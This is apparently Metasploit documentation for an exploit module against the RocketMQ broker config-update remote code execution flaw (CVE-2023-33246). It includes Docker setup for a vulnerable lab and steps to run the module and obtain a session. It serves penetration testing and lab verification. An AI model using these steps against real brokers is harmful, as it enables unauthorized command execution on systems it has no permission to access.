## Vulnerable Application

RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code Injection. Broker component of RocketMQ is
leaked on the extranet and lack permission verification. An attacker can exploit this vulnerability by using
the update configuration function to execute commands as the system users that RocketMQ is running as.
Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.

### Setup

#### Docker setup
Instructions taken from https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT

```
    docker pull apache/rocketmq:4.9.4
    # Start nameserver
    docker run --rm --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
    # Start Broker
    docker run --rm --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
```

## Verification Steps

1. Start msfconsole.
1. Do: ` use exploit/multi/http/apache_rocketmq_update_config`.
1. Set the `RHOST` and `LHOST` options.
1. Run the module.
1. Receive a session in the context of the user running the RocketMQ application.

## Options

### BROKER_PORT
The port the target RocketMQ Broker component is running on. If left unset the default port will be used if a Broker
port associated with the RHOST cannot be determined from querying the RocketMQ NameServer.

## Scenarios

### Docker container running RocketMQ 4.9.4, Target: Automatic (Unix In-Memory)
